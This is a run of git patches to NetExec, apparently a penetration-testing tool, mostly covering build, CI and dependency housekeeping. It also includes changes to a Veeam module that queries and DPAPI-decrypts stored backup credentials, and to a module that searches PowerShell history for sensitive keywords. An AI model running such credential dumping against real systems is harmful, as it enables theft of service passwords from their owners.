".join(account.split()) + try: + user, password, description = account.split(" ", 2) + except ValueError: + user, password = account.split(" ", 1) + user = user.strip().replace("WHITESPACE_ERROR", " ").strip() + password = password.strip().replace("WHITESPACE_ERROR", " ").strip() + description = description.strip().replace("WHITESPACE_ERROR", " ").strip() + context.log.highlight(f"{user:<30} {password:<30} {description}") except ValueError: context.log.fail(f"Powershell returned unexpected output: {output_stripped}") context.log.fail("Please report this issue on GitHub!") From 342a13021b0fcb61fae6bc32ae2f1e14b559f076 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 14:38:13 -0500 Subject: [PATCH 257/376] Bug fixes and output formating --- nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 | 8 ++++---- nxc/modules/veeam.py | 7 ++++--- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index c0df4c25..ad3f2ddd 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -4,7 +4,7 @@ $SqlInstanceName = "REPLACE_ME_SqlInstance" $b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString @@ -23,15 +23,15 @@ catch { exit -1 } -$rows=($dataset.Tables | Select-Object -Expand Rows) -if ($rows.count -eq 0) { +$output=($dataset.Tables | Select-Object -Expand Rows) +if ($output.count -eq 0) { Write-Host "No passwords found!" exit } Add-Type -assembly System.Security # Decrypting passwords using DPAPI -$rows | ForEach-Object -Process { +$output | ForEach-Object -Process { $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index 63e1ea87..d1649124 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -167,8 +167,8 @@ class NXCModule: # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError. # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes. try: - context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}") - context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}") + context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}") + context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}") for account in output_stripped: # Remove multiple whitespaces account = " ".join(account.split()) @@ -176,10 +176,11 @@ class NXCModule: user, password, description = account.split(" ", 2) except ValueError: user, password = account.split(" ", 1) + description = "" user = user.strip().replace("WHITESPACE_ERROR", " ").strip() password = password.strip().replace("WHITESPACE_ERROR", " ").strip() description = description.strip().replace("WHITESPACE_ERROR", " ").strip() - context.log.highlight(f"{user:<30} {password:<30} {description}") + context.log.highlight(f"{user:<40} {password:<40} {description}") except ValueError: context.log.fail(f"Powershell returned unexpected output: {output_stripped}") context.log.fail("Please report this issue on GitHub!") From 4ffdbde343b2298fbafa1d4fdea7a0041ce19f04 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Feb 2025 18:34:06 -0500 Subject: [PATCH 258/376] Fix python 3.13 logging issue --- nxc/logger.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/logger.py b/nxc/logger.py index f44c37a4..88871f59 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -80,7 +80,7 @@ def no_debug(func): class NXCAdapter(logging.LoggerAdapter): - def __init__(self, extra=None): + def __init__(self, extra=None, merge_extra=False): logging.basicConfig( format="%(message)s", datefmt="[%X]", @@ -93,6 +93,7 @@ class NXCAdapter(logging.LoggerAdapter): ) self.logger = logging.getLogger("nxc") self.extra = extra + self.merge_extra = merge_extra self.output_file = None logging.getLogger("impacket").disabled = True From c6c1c2f14ea8ddfee45b51a3f6fea72257ac35e2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Feb 2025 18:35:43 -0500 Subject: [PATCH 259/376] Update github workflows to py3.13 --- .github/workflows/build-binaries.yml | 2 +- .github/workflows/build-zipapps.yml | 2 +- .github/workflows/lint.yml | 2 +- .github/workflows/test.yml | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index 6b7dba98..dba5bf53 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.12"] + python-version: ["3.13"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index 9970f294..e35b4f04 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index f92e53d2..f747ec58 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -19,7 +19,7 @@ jobs: - name: Set up Python uses: actions/setup-python@v5 with: - python-version: 3.12 + python-version: 3.13 cache: poetry cache-dependency-path: poetry.lock - name: Install dependencies with dev group diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index fb85ab46..9a9d281a 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,7 +14,7 @@ jobs: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: Install poetry From 1911ca9e51e6b751e9ff0ed7035f6b4c72410a45 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Feb 2025 18:36:51 -0500 Subject: [PATCH 260/376] Update impacket and pynfsclient --- poetry.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/poetry.lock b/poetry.lock index cbe8b261..157c33bd 100644 --- a/poetry.lock +++ b/poetry.lock @@ -893,7 +893,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20241125.162952.ea27e8b2" +version = "0.13.0.dev0+20250220.93348.6315ebd5" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -917,7 +917,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d" +resolved_reference = "6315ebd5388cf5bf52a809b8101f18d49c6a0ef7" [[package]] name = "iniconfig" @@ -1870,7 +1870,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "a94a3254b279dc49395caecf27ec097a71eea91b" +resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a" [[package]] name = "pyopenssl" From ad6c385493f78bbb162dda542cab7353c2f8527f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Feb 2025 13:14:06 -0500 Subject: [PATCH 261/376] Typo --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d13e2d30..6f310940 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -413,7 +413,7 @@ class nfs(connection): Usually: - 1 byte: 0x01 fb_version - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) - - 1 byte: 0xXX fb_fsid_type -> determines the legth of the fsid + - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - 1 byte: 0xXX fb_fileid_type """ fh = bytearray(file_handle) From 2d21f4d7a698066d99d8889587fca9b01c62fb43 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Feb 2025 12:40:13 +0100 Subject: [PATCH 262/376] LDAP checker fix when checking without creds --- nxc/modules/ldap-checker.py | 79 ++++++++++++++++++++++--------------- 1 file changed, 47 insertions(+), 32 deletions(-) diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 152f3a0d..3a13f2cc 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -146,43 +146,58 @@ class NXCModule: # Run trough all our code blocks to determine LDAP signing and channel binding settings. - stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT - secret = connection.password if not connection.nthash else connection.nthash - if not connection.kerberos: + stype = asyauthSecret.PASS + secret = connection.password + if connection.nthash: + stype = asyauthSecret.NT + secret = connection.nthash + if connection.aesKey: + stype = asyauthSecret.AES + secret = connection.aesKey + if connection.username == "" and secret == "": credential = NTLMCredential( - secret=secret, - username=connection.username, - domain=connection.domain, + secret=None, + username="Guest", + domain=None, stype=stype, ) + context.log.info("No username used, skipping LDAP signing check") else: - kerberos_target = UniTarget( - connection.host, - 88, - UniProto.CLIENT_TCP, - hostname=connection.remoteName, - dc_ip=connection.kdcHost, - domain=connection.domain, - proxies=None, - dns=None, - ) - credential = KerberosCredential( - target=kerberos_target, - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + else: + kerberos_target = UniTarget( + connection.host, + 88, + UniProto.CLIENT_TCP, + hostname=connection.remoteName, + dc_ip=connection.kdcHost, + domain=connection.domain, + proxies=None, + dns=None, + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) - target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapIsProtected = asyncio.run(run_ldap(target, credential)) - if ldapIsProtected is False: - context.log.highlight("LDAP Signing NOT Enforced!") - elif ldapIsProtected is True: - context.log.fail("LDAP Signing IS Enforced") - else: - context.log.fail("Connection fail, exiting now") - sys.exit() + target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) + ldapIsProtected = asyncio.run(run_ldap(target, credential)) + if ldapIsProtected is False: + context.log.highlight("LDAP Signing NOT Enforced!") + elif ldapIsProtected is True: + context.log.fail("LDAP Signing IS Enforced") + else: + context.log.fail("Connection fail, exiting now") + sys.exit() if DoesLdapsCompleteHandshake(connection.host) is True: target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) From 8a9e9a164c50ce347ff1fcec05c0c09511acd10b Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Tue, 25 Feb 2025 17:19:21 +0100 Subject: [PATCH 263/376] Update pyproject.toml Signed-off-by: n3rada <72791564+n3rada@users.noreply.github.com> --- pyproject.toml | 166 ++++++++++++++++++++++--------------------------- 1 file changed, 73 insertions(+), 93 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index dbea2e61..ab77741c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,73 +1,75 @@ -[tool.poetry] +[project] name = "netexec" version = "1.3.0" description = "The Network Execution tool" -authors = [ - "Marshall Hallenbeck ", - "Alexander Neff ", - "Thomas Seigneuret " -] readme = "README.md" +requires-python = ">=3.10,<3.14" +license = { name = "BSD-2-Clause" } +authors = [ + { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, + { name = "Alexander Neff", email = "alex99.neff@gmx.de" }, + { name = "Thomas Seigneuret", email = "seigneuret.thomas@pm.me" } +] +dependencies = [ + "aardwolf>=0.2.8", + "aioconsole>=0.6.2", + "aiosqlite>=0.19.0", + "argcomplete>=3.1.4", + "asyauth>=0.0.20", + "beautifulsoup4>=4.11,<5", + "bloodhound>=1.8.0", + "dploot>=3.1.0", + "dsinternals>=1.2.4", + { url = "https://github.com/fortra/impacket.git" }, + "jwt>=1.3.1", + "lsassy>=3.1.11", + "masky>=0.2.0", + "minikerberos>=0.4.1", + "msgpack>=1.0.0", + "msldap>=0.5.10", + "neo4j>=5.0.0", + { url = "https://github.com/wbond/oscrypto" }, + "paramiko>=3.3.1", + "poetry-dynamic-versioning>=1.2.0", + "pyasn1-modules>=0.3.0", + "pylnk3>=0.4.2", + { url = "https://github.com/Pennyw0rth/NfsClient" }, + "pypsrp>=0.8.1", + "pypykatz>=0.6.8", + "pywerview>=0.3.3", + "python-dateutil>=2.8.2", + "python-libnmap>=0.7.3", + "requests>=2.27.1", + "rich>=13.3.5", + "sqlalchemy>=2.0.4", + "termcolor>=2.4.0", + "terminaltables>=3.1.0", + "xmltodict>=0.13.0" +] + +[project.urls] homepage = "https://github.com/Pennyw0rth/NetExec" repository = "https://github.com/Pennyw0rth/NetExec" + +[project.scripts] +nxc = "nxc.netexec:main" +netexec = "nxc.netexec:main" +NetExec = "nxc.netexec:main" +nxcdb = "nxc.nxcdb:main" + +[tool.poetry] exclude = [] include = [ "nxc/data/*", "nxc/modules/*" ] -license = "BSD-2-Clause" classifiers = [ - 'Environment :: Console', - 'License :: OSI Approved :: BSD License', - 'Programming Language :: Python :: 3', - 'Topic :: Security', + "Environment :: Console", + "License :: OSI Approved :: BSD License", + "Programming Language :: Python :: 3", + "Topic :: Security" ] -packages = [ - { include = "nxc"} -] - -[tool.poetry.scripts] -nxc = 'nxc.netexec:main' -netexec = 'nxc.netexec:main' -NetExec = 'nxc.netexec:main' -nxcdb = 'nxc.nxcdb:main' - -[tool.poetry.dependencies] -python = "^3.10.0" -aardwolf = "^0.2.8" -aioconsole = "^0.6.2" -aiosqlite = "^0.19.0" -argcomplete = "^3.1.4" -asyauth = ">=0.0.20" -beautifulsoup4 = ">=4.11,<5" -bloodhound = "^1.8.0" -dploot = "^3.1.0" -dsinternals = "^1.2.4" -impacket = { git = "https://github.com/fortra/impacket.git" } -jwt = ">=1.3.1" -lsassy = ">=3.1.11" -masky = "^0.2.0" -minikerberos = "^0.4.1" -msgpack = "^1.0.0" -msldap = "^0.5.10" -neo4j = "^5.0.0" -oscrypto = { git = "https://github.com/wbond/oscrypto" } -paramiko = "^3.3.1" -poetry-dynamic-versioning = "^1.2.0" -pyasn1-modules = "^0.3.0" -pylnk3 = "^0.4.2" -pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" } -pypsrp = "^0.8.1" -pypykatz = "^0.6.8" -pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23) -python-dateutil = ">=2.8.2" -python-libnmap = "^0.7.3" -requests = ">=2.27.1" -rich = "^13.3.5" -sqlalchemy = "^2.0.4" -termcolor = ">=2.4.0" -terminaltables = "^3.1.0" -xmltodict = "^0.13.0" +packages = [{ include = "nxc" }] [tool.poetry.group.dev.dependencies] flake8 = "*" @@ -76,7 +78,7 @@ pytest = "^7.2.2" ruff = "=0.0.292" [build-system] -requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +requires = ["poetry-core>=1.7.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" [tool.poetry-dynamic-versioning] @@ -85,48 +87,26 @@ pattern = "(?P\\d+\\.\\d+\\.\\d+)" format = "{base}+{commit}" [tool.ruff] -# Ruff doesn't enable pycodestyle warnings (`W`) or -# McCabe complexity (`C901`) by default. -# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc -# Should tackle flake8-use-pathlib (PTH) at some point -select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"] -ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"] - -# Allow autofix for all enabled rules (when `--fix`) is provided. +select = [ + "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", + "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" +] +ignore = [ + "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", + "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", + "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", + "PERF203", "RUF012" +] fixable = ["ALL"] unfixable = [] - -# Exclude a variety of commonly ignored directories. exclude = [ - ".bzr", - ".direnv", - ".eggs", - ".git", - ".git-rewrite", - ".hg", - ".mypy_cache", - ".nox", - ".pants.d", - ".pytype", - ".ruff_cache", - ".svn", - ".tox", - ".venv", - "__pypackages__", - "_build", - "buck-out", - "build", - "dist", - "node_modules", - "venv", + ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", + ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", + "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] per-file-ignores = {} - line-length = 65000 - -# Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" - target-version = "py310" [tool.ruff.flake8-quotes] From e50bf7e686ea270d32403f6646348c4a909640e5 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Tue, 25 Feb 2025 17:21:07 +0100 Subject: [PATCH 264/376] Update pyproject.toml Signed-off-by: n3rada <72791564+n3rada@users.noreply.github.com> --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index ab77741c..a8ad842c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ version = "1.3.0" description = "The Network Execution tool" readme = "README.md" requires-python = ">=3.10,<3.14" -license = { name = "BSD-2-Clause" } +license = { text = "BSD-2-Clause" } authors = [ { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, { name = "Alexander Neff", email = "alex99.neff@gmx.de" }, From f6c376df174e3db349c5396fc036add4d8d1f4aa Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Tue, 25 Feb 2025 17:21:52 +0100 Subject: [PATCH 265/376] Update pyproject.toml Signed-off-by: n3rada <72791564+n3rada@users.noreply.github.com> --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index a8ad842c..d9412422 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -3,7 +3,7 @@ name = "netexec" version = "1.3.0" description = "The Network Execution tool" readme = "README.md" -requires-python = ">=3.10,<3.14" +requires-python = ">=3.10" license = { text = "BSD-2-Clause" } authors = [ { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, From dd72ee377d9412b8b1061035ea0b2702546a3515 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Tue, 25 Feb 2025 17:23:15 +0100 Subject: [PATCH 266/376] Update pyproject.toml Signed-off-by: n3rada <72791564+n3rada@users.noreply.github.com> --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index d9412422..bd5f72ae 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -78,7 +78,7 @@ pytest = "^7.2.2" ruff = "=0.0.292" [build-system] -requires = ["poetry-core>=1.7.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +requires = ["poetry-core>=2.0.0,<3.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" [tool.poetry-dynamic-versioning] From 7b44298e21ea5f5a8b081731b85da3f9d24d8cc9 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Tue, 25 Feb 2025 17:24:54 +0100 Subject: [PATCH 267/376] Update pyproject.toml Signed-off-by: n3rada <72791564+n3rada@users.noreply.github.com> --- pyproject.toml | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index bd5f72ae..fdc781bb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -20,7 +20,6 @@ dependencies = [ "bloodhound>=1.8.0", "dploot>=3.1.0", "dsinternals>=1.2.4", - { url = "https://github.com/fortra/impacket.git" }, "jwt>=1.3.1", "lsassy>=3.1.11", "masky>=0.2.0", @@ -28,12 +27,10 @@ dependencies = [ "msgpack>=1.0.0", "msldap>=0.5.10", "neo4j>=5.0.0", - { url = "https://github.com/wbond/oscrypto" }, "paramiko>=3.3.1", "poetry-dynamic-versioning>=1.2.0", "pyasn1-modules>=0.3.0", "pylnk3>=0.4.2", - { url = "https://github.com/Pennyw0rth/NfsClient" }, "pypsrp>=0.8.1", "pypykatz>=0.6.8", "pywerview>=0.3.3", @@ -44,7 +41,11 @@ dependencies = [ "sqlalchemy>=2.0.4", "termcolor>=2.4.0", "terminaltables>=3.1.0", - "xmltodict>=0.13.0" + "xmltodict>=0.13.0", + # Git Dependencies + impacket = { git = "https://github.com/fortra/impacket.git" } + oscrypto = { git = "https://github.com/wbond/oscrypto" } + pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" } ] [project.urls] @@ -78,7 +79,7 @@ pytest = "^7.2.2" ruff = "=0.0.292" [build-system] -requires = ["poetry-core>=2.0.0,<3.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +requires = ["poetry-core>=2.0.0,<3.0.0", "poetry-dynamic-versioning>=1.7.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" [tool.poetry-dynamic-versioning] From 384eb30cdd5541122748a824a544286767eab0aa Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Tue, 25 Feb 2025 17:25:15 +0100 Subject: [PATCH 268/376] Update pyproject.toml Signed-off-by: n3rada <72791564+n3rada@users.noreply.github.com> --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index fdc781bb..d4c7a1a3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -43,9 +43,9 @@ dependencies = [ "terminaltables>=3.1.0", "xmltodict>=0.13.0", # Git Dependencies - impacket = { git = "https://github.com/fortra/impacket.git" } - oscrypto = { git = "https://github.com/wbond/oscrypto" } - pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" } + impacket = { git = "https://github.com/fortra/impacket.git" }, + oscrypto = { git = "https://github.com/wbond/oscrypto" }, + pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" }, ] [project.urls] From f79a652723799eaa6b82d25c0d1deb25f629b800 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Tue, 25 Feb 2025 17:26:48 +0100 Subject: [PATCH 269/376] Update pyproject.toml Signed-off-by: n3rada <72791564+n3rada@users.noreply.github.com> --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index d4c7a1a3..7526271c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -43,9 +43,9 @@ dependencies = [ "terminaltables>=3.1.0", "xmltodict>=0.13.0", # Git Dependencies - impacket = { git = "https://github.com/fortra/impacket.git" }, - oscrypto = { git = "https://github.com/wbond/oscrypto" }, - pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" }, + "impacket @ git+https://github.com/fortra/impacket.git", + "oscrypto @ git+https://github.com/wbond/oscrypto", + "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient" ] [project.urls] From b14830f17a624157509af7c1cc4313d1ed2b726f Mon Sep 17 00:00:00 2001 From: Fox Date: Tue, 25 Feb 2025 14:25:30 -0800 Subject: [PATCH 270/376] Refactored powershell_history module to fix case sensitivity --- nxc/modules/powershell_history.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 3e531dc3..ce42b76b 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -36,8 +36,10 @@ class NXCModule: buf = BytesIO() connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) - file_content = buf.read().decode("utf-8", errors="ignore").lower() - keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content] + file_content = buf.read().decode("utf-8", errors="ignore") + # Use temporary lowercase version for searching + file_content_lower = file_content.lower() + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content_lower] if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: From 6120249dd042423272ceacc90357fcf91066d34c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 03:36:22 -0500 Subject: [PATCH 271/376] Simplify code --- nxc/modules/powershell_history.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index ce42b76b..5e897cc8 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -37,9 +37,7 @@ class NXCModule: connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) file_content = buf.read().decode("utf-8", errors="ignore") - # Use temporary lowercase version for searching - file_content_lower = file_content.lower() - keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content_lower] + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()] if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: From 76883209256789027512982fe7bf82c899512e4f Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Wed, 26 Feb 2025 09:55:42 +0100 Subject: [PATCH 272/376] Updating `poetry.lock` and `pyproject.toml` --- poetry.lock | 144 +++++++++++++++++++++++++++++++++++++++++++------ poetry.toml | 5 ++ pyproject.toml | 2 +- 3 files changed, 135 insertions(+), 16 deletions(-) create mode 100644 poetry.toml diff --git a/poetry.lock b/poetry.lock index 157c33bd..e91be90e 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -6,6 +6,7 @@ version = "0.2.11" description = "Asynchronous RDP protocol implementation" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "aardwolf-0.2.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d071445ac0afed6e14e7cff1187db26c6331e84c383ea305b1f9041153dd71c4"}, {file = "aardwolf-0.2.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:764bfe8cf5898b08e1c0923bea9b9a887b044d9e95461cecf59d864b7f0884dc"}, @@ -33,6 +34,7 @@ version = "0.1.6" description = "NTDS parser toolkit" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "aesedb-0.1.6-py3-none-any.whl", hash = "sha256:9dad54792b7d792715fd95379516b27e3a31de318199ba7cff51e5d0c8739228"}, ] @@ -49,6 +51,7 @@ version = "0.6.2" description = "Asynchronous console and interfaces for asyncio" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "aioconsole-0.6.2-py3-none-any.whl", hash = "sha256:1968021eb03b88fcdf5f5398154b21585e941a7b98c9fcef51c4bb0158156619"}, {file = "aioconsole-0.6.2.tar.gz", hash = "sha256:bac11286f1062613d2523ceee1ba81c676cd269812b865b66b907448a7b5f63e"}, @@ -60,6 +63,7 @@ version = "0.4.11" description = "Asynchronous SMB protocol implementation" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "aiosmb-0.4.11-py3-none-any.whl", hash = "sha256:a3b84893cded7aa1ebf048c0f5267024f2c030e5d918e4d8d8b86f8974a4011a"}, {file = "aiosmb-0.4.11.tar.gz", hash = "sha256:6d66f51ed2354f76f206613eac0d63f37cfd9ed44be9f8a06594d410244273d7"}, @@ -84,14 +88,15 @@ version = "0.19.0" description = "asyncio bridge to the standard sqlite3 module" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"}, {file = "aiosqlite-0.19.0.tar.gz", hash = 